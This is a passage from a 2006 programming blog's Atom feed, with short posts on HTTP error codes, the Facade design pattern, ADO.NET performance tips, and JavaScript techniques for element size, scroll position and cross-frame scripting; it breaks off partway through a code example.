type='text/html' href='http://eshwar123.blogspot.com/2006/09/best-practices-using-datetime-in-net.html' title='Best Practices Using DateTime in .NET Framework'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115805371534203708</id><published>2006-09-12T15:05:00.000+05:30</published><updated>2006-09-12T15:05:15.350+05:30</updated><title type='text'>Most Common HTTP Errors</title><content type='html'>&lt;p align="left"&gt;Errors are distinguished by their HTTP error codes; we can also specify a particular page to redirect to that is based on the HTTP error code that is raised. &lt;p align="left"&gt;The followings are some of the most common errors. &lt;p align="left"&gt;400: Bad Request - This means the request could not be understood by the server. &amp;nbsp;The request&amp;nbsp;was denied due to a syntax error in the request. &lt;p align="left"&gt;401:&amp;nbsp; Unauthorized - This means the request requires authentication.  &lt;p align="left"&gt;402: Payment required - This means the data is not accessible at the time. &amp;nbsp;The owner of the space has not yet paid his or her service provider or the server was unable to serve the data&amp;nbsp;that was requested. &lt;p align="left"&gt;403: Forbidden - This means the IP address or the username/password entered were not correct&amp;nbsp;and the request was denied as there was no permission to access the data. &lt;p align="left"&gt;404: Not found - This means the document requested either no longer exists or has&amp;nbsp;never existed on the server. &lt;p align="left"&gt;405: Method not allowed- Means the method you are using to access the document is not&amp;nbsp;allowed. &lt;p align="left"&gt;408: Request Timeout - Means the server has closed the socket due to communications&amp;nbsp;between the client and server taking too long. &lt;p align="left"&gt;414: The URL requested is too long. &lt;p align="left"&gt;500: Internal server error. The server encountered an error - This is most often caused by a&amp;nbsp;scripting problem, a failed database access attempt, or similar reasons. &lt;p align="left"&gt;503: Service unavailable- This means the server is overloaded or down for maintenance and was&amp;nbsp;unable to process the client request.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115805371534203708?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115805371534203708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115805371534203708' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115805371534203708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115805371534203708'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/most-common-http-errors.html' title='Most Common HTTP Errors'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115805334527188059</id><published>2006-09-12T14:59:00.000+05:30</published><updated>2006-09-12T14:59:05.436+05:30</updated><title type='text'>Facade Design Pattern</title><content type='html'>&lt;p align="left"&gt;Facade Design pattern provides an easy to use interface to an otherwise complicated collection of interfaces or subsystems.&amp;nbsp; It makes things easier by hiding the details of the implementation. &lt;p align="left"&gt;When designing good programs, programmers usually attempt to avoid excess coupling between module/classes. &amp;nbsp;Using this pattern helps to simplify much of the interfacing that makes large amounts of coupling complex to use and difficult to understand.  &lt;p align="left"&gt;In a nutshell, this is accomplished by creating a small collection of classes that have a single class (Facade) that is used to access them.  &lt;p align="left"&gt;The facade pattern is an object-oriented design pattern. &amp;nbsp;A facade is an object that provides a simplified interface to a larger body of code, such as a class library. &amp;nbsp;A facade can accomplish all of the following. &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;It can make a software library easier to use and understand since the facade has convenient methods for common tasks. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;It makes code that uses the library more readable for the same reason. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;It can reduce dependencies of outside code on the inner workings of a library since most code uses the facade.&amp;nbsp; This allows for more flexibility in developing the system. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;It can wrap a poorly designed collection of APIs with a single well-designed API. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Thus, Facade is a design pattern that hides the details and complexities of the lower-level software services for which it is written, making the service easier to use. &amp;nbsp;In fact, the lower-level classes need not be classes at all; they can be an API in the form of a code library or a Web service. &lt;p align="left"&gt;A Facade also provides a unified entry point into the layers of the software. &amp;nbsp;This reduces the application's dependency on the software service details and allows the Facade to hide future changes in the software service itself. &lt;p align="left"&gt;&amp;nbsp; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115805334527188059?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115805334527188059/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115805334527188059' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115805334527188059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115805334527188059'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/facade-design-pattern.html' title='Facade Design Pattern'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115771612397540587</id><published>2006-09-08T17:18:00.000+05:30</published><updated>2006-09-08T17:18:44.556+05:30</updated><title type='text'>Increase Performance in ADO.NET</title><content type='html'>&lt;p align="left"&gt;Here is a consolidated list of how you can improve the performance of your .NET apps:&lt;br&gt;1. &lt;strong&gt;Design your data access layer based on how the data is used&lt;/strong&gt;.&lt;br&gt;In larger applications, it’s always better to go for a separate Data Access Layer (DAL) to abstract the underlying data store complexity and to provide a logical separation. Having the data access logic in the same presentation layer may increase performance but at the cost of maintainability.&lt;br&gt;You can use the &lt;strong&gt;Microsoft Application Blocks&lt;/strong&gt; for simplifying your tasks of Data Access and Exception handling. (I personally prefer this)&lt;/p&gt; &lt;p align="left"&gt;2. &lt;strong&gt;Cache your data to avoid unnecessary round trips and network overhead. &lt;/strong&gt;&lt;strong&gt;&lt;br&gt;&lt;/strong&gt;Try to cache data that is used across your application, in the layer that is close to the consumer of data. This will reduce the latency in network to fetch data. Note that if your data in cache needs to be updated too frequently, then better you don’t cache that data.&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;3. Acquire late, release early.&lt;/strong&gt;&lt;br&gt;Open database connections right only when you need them. Close the database connections as soon as you are finished. Acquire locks late, and release them early.&lt;br&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;4. Close disposable resources.&lt;/strong&gt;&lt;br&gt;Make sure that you call either the Dispose or Close method on resources that are disposable, as soon as you are finished with using the resource.&lt;br&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;5. Reduce round trips.&lt;br&gt;&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;· If you have some 3 or 4 SQL statements, try to use batch sql statements in a stored procedure to decrease round trips.&lt;br&gt;· Use ExecuteScalar method for getting a single result.&lt;br&gt;· Use ExecuteNonQuery method when you want to execute any DDL statement.&lt;br&gt;· Use connection pooling to help avoid extra round trips. By reusing connections from a connection pool, you can avoid the round trips that are associated with connection establishment and authentication.&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;6.Return only the data you need.&lt;/strong&gt;&lt;br&gt;Evaluate the data that your application actually requires and return only that data. This will minimize the bandwidth consumption in the network.&lt;br&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;7. Use Windows authentication.&lt;br&gt;&lt;/strong&gt;&lt;br&gt;From a security perspective, use Windows authentication instead of SQL authentication. This ensures that credentials are not passed over the network, database connection strings do not contain credentials, and you can apply standard Windows security policies to accounts. Remember to use connection pooling with your connection.&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;8. Use stored procedures. &lt;/strong&gt;&lt;br&gt;Avoid embedded SQL statements and use Store Procedures (SP) instead. This has the following advantages:&lt;br&gt;· A Logical separation of Data access code from your Business Logic code&lt;br&gt;· Queries can be optimized for performance from SQL server&lt;br&gt;· Deployment becomes easier as, for any change in SP you don’t need to redeploy you application.&lt;br&gt;· SPs allow the batch execution of SQL commands&lt;br&gt;· You can impose specific restrictions on selected stored procedures for security reasons. This is very difficult to be done from embedded SQL.&lt;br&gt;· You can avoid the most dangerous SQL Injection by using parameterized SPs.&lt;/p&gt; &lt;p align="left"&gt;9. &lt;strong&gt;Consider how to handle exceptions.&lt;/strong&gt;&lt;br&gt;You can use try/finally blocks to ensure that connections and other resources are closed, regardless of whether exceptions are generated or not. The best way for abstracting all exceptions from user is to log them to a file or Windows Event log.&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;10. Use appropriate normalization.&lt;/strong&gt;&lt;br&gt;You may want a normalized database to minimize data duplication but be aware that you don’t over-normalize. This can affect the performance and scalability of your application&lt;br&gt;The above list is purely based on my working experience and there are many more points to add to this, which I’ll be adding in the next part of this article.&lt;/p&gt; &lt;p align="left"&gt;&lt;a href="http://lakshmik.blogspot.com/2005/06/ten-points-to-consider-to-increase.html" target="_blank"&gt;Get more information&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/ado.net"&gt;ado.net&lt;/a&gt;, &lt;a href="http://technorati.com/tag/performance+ado.net"&gt;performance ado.net&lt;/a&gt;, &lt;a href="http://technorati.com/tag/DAL"&gt;DAL&lt;/a&gt;, &lt;a href="http://technorati.com/tag/application+blocks"&gt;application blocks&lt;/a&gt;, &lt;a href="http://technorati.com/tag/cache"&gt;cache&lt;/a&gt;, &lt;a href="http://technorati.com/tag/round+trip"&gt;round trip&lt;/a&gt;, &lt;a href="http://technorati.com/tag/network"&gt;network&lt;/a&gt;, &lt;a href="http://technorati.com/tag/database"&gt;database&lt;/a&gt;, &lt;a href="http://technorati.com/tag/database+connections"&gt;database connections&lt;/a&gt;, &lt;a href="http://technorati.com/tag/stored+procedures"&gt;stored procedures&lt;/a&gt;, &lt;a href="http://technorati.com/tag/normalization"&gt;normalization&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115771612397540587?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115771612397540587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115771612397540587' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115771612397540587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115771612397540587'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/increase-performance-in-adonet.html' title='Increase Performance in ADO.NET'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115763464797289491</id><published>2006-09-07T18:40:00.000+05:30</published><updated>2006-09-07T18:40:47.976+05:30</updated><title type='text'>Finding the size of an  HTML Element</title><content type='html'>&lt;p align="left"&gt;There are so many variables that affect the size of an element -- content length, CSS rules, font family, font size, line height, text zooming ... the list goes on. Add to this the fact that browsers interpret CSS dimensions and font sizes inconsistently, and you can never predict the dimensions at which an element will be rendered. The only consistent way to determine an element's size is to measure it once it's been rendered by the browser. &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Solution&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;You can tell straight away that it's going to be useful to know exactly how big an element is. Well, the W3C can't help: there's no standardized way to determine the size of an element. Thankfully, the browser-makers have more or less settled on some DOM properties that let us figure it out. &lt;p align="left"&gt;Although box model differences mean that Internet Explorer includes padding and borders inconsistently as part of an element's CSS dimensions, the &lt;code&gt;offsetWidth&lt;/code&gt; and &lt;code&gt;offsetHeight&lt;/code&gt; properties will consistently return an element's width -- including padding and borders -- across all browsers. &lt;p align="left"&gt;Let's imagine that an element's dimensions were specified in CSS like this: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&lt;strong&gt;Example 13.15. find_size_element.css&lt;/strong&gt;&lt;br&gt;#enterprise &lt;br&gt;{ &lt;br&gt;&amp;nbsp;width: 350px; &lt;br&gt;&amp;nbsp;height: 150px; &lt;br&gt;&amp;nbsp;margin: 25px; &lt;br&gt;&amp;nbsp;border: 25px solid #000000; &lt;br&gt;&amp;nbsp;padding: 25px; &lt;br&gt;}&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;We can determine that element's exact pixel width in JavaScript by checking the corresponding &lt;code&gt;offsetWidth&lt;/code&gt; and &lt;code&gt;offsetHeight&lt;/code&gt; properties: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&lt;strong&gt;Example 13.16. find_size_element.js (excerpt)&lt;/strong&gt;&lt;br&gt;var starShip = document.getElementById("enterprise"); &lt;br&gt;var pixelWidth = starShip.offsetWidth; &lt;br&gt;var pixelHeight = starShip.offsetHeight;&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;In Internet Explorer 6, Opera, Mozilla, and Safari, the variable &lt;code&gt;pixelWidth&lt;/code&gt; will now be set to 450, and the variable &lt;code&gt;pixelHeight&lt;/code&gt; will be set to 250. In Internet Explorer 5/5.5, &lt;code&gt;pixelWidth&lt;/code&gt; will be 350 and &lt;code&gt;pixelHeight&lt;/code&gt; 150, because those are the dimensions at which the broken box model approach used in those browsers will render the element. The values are different across browsers, but only because the actual rendered size differs as well. The offset dimensions consistently calculate the exact pixel dimensions of the element. &lt;p align="left"&gt;If we did not specify the dimensions of the element, and instead left its display up to the default block rendering (thus avoiding the box model bugs), the values would be comparable between browsers (allowing for scrollbar width differences, fonts, etc.). &lt;p align="left"&gt;&lt;a href="http://www.sitepoint.com/print/javascript-from-scratch" target="_blank"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115763464797289491?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115763464797289491/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115763464797289491' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115763464797289491'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115763464797289491'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/finding-size-of-html-element.html' title='Finding the size of an  HTML Element'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115763439486539850</id><published>2006-09-07T18:36:00.000+05:30</published><updated>2006-09-07T18:36:34.870+05:30</updated><title type='text'>Getting the Scrolling position using Javascript</title><content type='html'>&lt;p align="left"&gt;Page scrolling is one of the least-standardized properties in JavaScript: three variations are now in use by different versions of different browsers. But with a few careful object tests, we can reliably get a consistent value. &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Solution&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;There are three ways of getting this information. We'll use object tests on each approach, to determine the level of support available: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&lt;strong&gt;Example 7.8. get-scrolling-position.js (excerpt)&lt;/strong&gt;&lt;br&gt;function getScrollingPosition() &lt;br&gt;{ &lt;br&gt;&amp;nbsp;var position = [0, 0]; &lt;br&gt;&amp;nbsp;if (typeof window.pageYOffset != 'undefined') &lt;br&gt;&amp;nbsp;{ &lt;br&gt;&amp;nbsp; &amp;nbsp;position = [ &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;window.pageXOffset, &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;window.pageYOffset &lt;br&gt;&amp;nbsp; &amp;nbsp;]; &lt;br&gt;&amp;nbsp;} &lt;br&gt;&amp;nbsp;else if (typeof document.documentElement.scrollTop &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;!= 'undefined' &amp;amp;&amp;amp; document.documentElement.scrollTop &amp;gt; 0) &lt;br&gt;&amp;nbsp;{ &lt;br&gt;&amp;nbsp; &amp;nbsp;position = [ &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;document.documentElement.scrollLeft, &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;document.documentElement.scrollTop &lt;br&gt;&amp;nbsp; &amp;nbsp;]; &lt;br&gt;&amp;nbsp;} &lt;br&gt;&amp;nbsp;else if (typeof document.body.scrollTop != 'undefined') &lt;br&gt;&amp;nbsp;{ &lt;br&gt;&amp;nbsp; &amp;nbsp;position = [ &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;document.body.scrollLeft, &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;document.body.scrollTop &lt;br&gt;&amp;nbsp; &amp;nbsp;]; &lt;br&gt;&amp;nbsp;} &lt;br&gt;&amp;nbsp;return position; &lt;br&gt;}&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;The function can now be called as required. Here's a simple demonstration, using a &lt;code&gt;window.onscroll&lt;/code&gt; event handler, that gets the figures and writes them to the title bar: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&lt;strong&gt;Example 7.9. get-scrolling-position.js (excerpt)&lt;/strong&gt;&lt;br&gt;window.onscroll = function() &lt;br&gt;{ &lt;br&gt;&amp;nbsp;var scrollpos = getScrollingPosition(); &lt;br&gt;&amp;nbsp;document.title = 'left=' + scrollpos[0] + ' top=' + &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;scrollpos[1]; &lt;br&gt;};&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;em&gt;The Problem with &lt;code&gt;&lt;font color="#ff8000"&gt;scroll&lt;/font&gt;&lt;/code&gt;&lt;/em&gt; &lt;p align="left"&gt;&lt;em&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;scroll&lt;/font&gt;&lt;/code&gt; is not the most reliable of events: it may not fire at all in Konqueror or Safari 1.0, or when the user navigates with a mouse wheel in Firefox. And if it does fire, it may do so continually and rapidly (as it does in Internet Explorer), which can be slow and inefficient if the scripting you set to respond to the event is very complex.&lt;/em&gt; &lt;p align="left"&gt;&lt;em&gt;If you have difficulties of this kind, you may find it better to use the &lt;code&gt;setInterval&lt;/code&gt; function instead of an onscroll event handler. &lt;code&gt;setInterval&lt;/code&gt; will allow you to call the function at a predictable interval, rather than in response to an event. &lt;/em&gt; &lt;p align="left"&gt;&lt;em&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;window.setInterval(function() &lt;br&gt;{ &lt;br&gt;&amp;nbsp;var scrollpos = getScrollingPosition(); &lt;br&gt;&amp;nbsp;document.title = 'left=' + scrollpos[0] + ' top=' + &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;scrollpos[1]; &lt;br&gt;}, 250);&lt;/font&gt;&lt;/code&gt;&lt;/em&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Discussion&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;The only real complication here is that IE 5 actually does recognize the &lt;code&gt;documentElement.scrollTop&lt;/code&gt; property, but its value is always zero, so we have to check the value as well as looking for the existence of the property. &lt;p align="left"&gt;Otherwise, it doesn't really matter to us which browser is using which property; all that matters is that our script gets through one of the compatibility tests and returns a useful value. However, the properties used by each browser are shown here for reference: &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;window.pageYOffset&lt;/font&gt;&lt;/code&gt; is used by Firefox and other Mozilla browsers, Safari, Konqueror, and Opera. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;document.documentElement.scrollTop&lt;/font&gt;&lt;/code&gt; is used by IE 6 in standards-compliant mode. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;document.body.scrollTop&lt;/font&gt;&lt;/code&gt; is used by IE 5, and IE 6 in "Quirks" mode. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;This list doesn't tell the complete story, but it's intended primarily to describe the ordering of the tests. More recent Mozilla browsers (such as Firefox) also support &lt;code&gt;documentElement.scrollTop&lt;/code&gt; and &lt;code&gt;body.scrollTop&lt;/code&gt;, by the same rendering mode rules as IE 6. Safari and Konqueror support &lt;code&gt;body.scrollTop&lt;/code&gt; in either mode. Opera supports all three properties in any mode! &lt;p align="left"&gt;But none of this is important for you to know -- browser vendors add these multiple properties to allow for scripts that are unaware of one property or another, not to provide arbitrary choices for the sake of it. From our perspective, the important point is to settle on a set of compatibility tests that ensures our script will work as widely as possible. &lt;p align="left"&gt;&lt;a href="http://www.sitepoint.com/print/javascript-from-scratch" target="_blank"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/scroll+position"&gt;scroll position&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+code"&gt;javascript code&lt;/a&gt;, &lt;a href="http://technorati.com/tag/mouse+position"&gt;mouse position&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browsers"&gt;browsers&lt;/a&gt;, &lt;a href="http://technorati.com/tag/page+scrolling"&gt;page scrolling&lt;/a&gt;, &lt;a href="http://technorati.com/tag/scrolltop"&gt;scrolltop&lt;/a&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115763439486539850?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115763439486539850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115763439486539850' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115763439486539850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115763439486539850'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/getting-scrolling-position-using.html' title='Getting the Scrolling position using Javascript'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115763414384074967</id><published>2006-09-07T18:32:00.000+05:30</published><updated>2006-09-07T18:32:23.846+05:30</updated><title type='text'>Communicating between Frames - HTML</title><content type='html'>&lt;p align="left"&gt;If you're working in a framed environment, it may be necessary to have scripts communicate between frames, either reading or writing properties, or calling functions in different documents. &lt;p align="left"&gt;If you have a choice about whether or not to use frames, I'd strongly advise against doing so, because they have many serious usability and accessibility problems, quite apart from the fact that they're conceptually broken (they create within the browser states that cannot be addressed). But as with your use of popups, in some cases you may not have a choice about your use of frames. So if you really must use them, here's what you'll need to do. &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Solution&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;Let's begin with a simple frameset document: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&amp;lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" &lt;br&gt;&amp;nbsp; &amp;nbsp;"http://www.w3.org/TR/html4/frameset.dtd"&amp;gt; &lt;br&gt;&amp;lt;html&amp;gt; &lt;br&gt;&amp;nbsp;&amp;lt;head&amp;gt; &lt;br&gt;&amp;nbsp; &amp;nbsp;&amp;lt;title&amp;gt;A frameset document&amp;lt;/title&amp;gt; &lt;br&gt;&amp;nbsp;&amp;lt;/head&amp;gt; &lt;br&gt;&amp;nbsp;&amp;lt;frameset cols="200, *"&amp;gt; &lt;br&gt;&amp;nbsp; &amp;nbsp;&amp;lt;frame src="navigation.html" name="navigationFrame"&amp;gt; &lt;br&gt;&amp;nbsp; &amp;nbsp;&amp;lt;frame src="content.html" name="contentFrame"&amp;gt; &lt;br&gt;&amp;nbsp; &amp;nbsp;&amp;lt;noframes&amp;gt; &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;p&amp;gt;This frameset document contains:&amp;lt;/p&amp;gt; &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;ul&amp;gt; &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a href="navigation.html"&amp;gt;Site navigation&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a href="contents.html"&amp;gt;Main content&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;/ul&amp;gt; &lt;br&gt;&amp;nbsp; &amp;nbsp;&amp;lt;/noframes&amp;gt; &lt;br&gt;&amp;nbsp;&amp;lt;/frameset&amp;gt; &lt;br&gt;&amp;lt;/html&amp;gt;&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;We can use four references for cross-frame scripting: &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;window&lt;/font&gt;&lt;/code&gt; or self refers to the current framed page. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;parent&lt;/font&gt;&lt;/code&gt; refers to the page that contains the frame that contains the current page. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;top&lt;/font&gt;&lt;/code&gt; refers to the page at the very top of the hierarchy of frames, which will be the same as parent if there's only one frameset in the hierarchy. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;The frames collection is an associative array of all the frames in the current page. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Let's say we have a script in &lt;code&gt;&lt;font color="#ff8000"&gt;contentFrame&lt;/font&gt;&lt;/code&gt; that wants to communicate the page in &lt;code&gt;navigationFrame&lt;/code&gt;. Both pages are contained in a single frameset -- the only one in the hierarchy -- so we could successfully make any of the following references from within &lt;code&gt;contentFrame&lt;/code&gt;: &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;parent.frames[0]&lt;/font&gt;&lt;/code&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;top.frames[0]&lt;/font&gt;&lt;/code&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;parent.frames['navigationFrame']&lt;/font&gt;&lt;/code&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;top.frames['navigationFrame']&lt;/font&gt;&lt;/code&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;The frames collection is an associative array (like the forms collection we saw in Chapter 6, Processing and Validating Forms), so each element can be accessed by either index or name. It's generally best to use the name (unless you have a good reason not to) so that you won't have to edit your code later if the frame order changes. By the same token, parent references in a complex nested frameset can change if the hierarchy changes, so I generally recommend that developers always start referencing from top. Of the above options, the reference I prefer, then, is &lt;code&gt;top.frames['navigationFrame']&lt;/code&gt;. &lt;p align="left"&gt;Now that we have a reference to the frame, we can call a function in the other framed page: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&lt;strong&gt;Example 7.6. frames-navigation.js 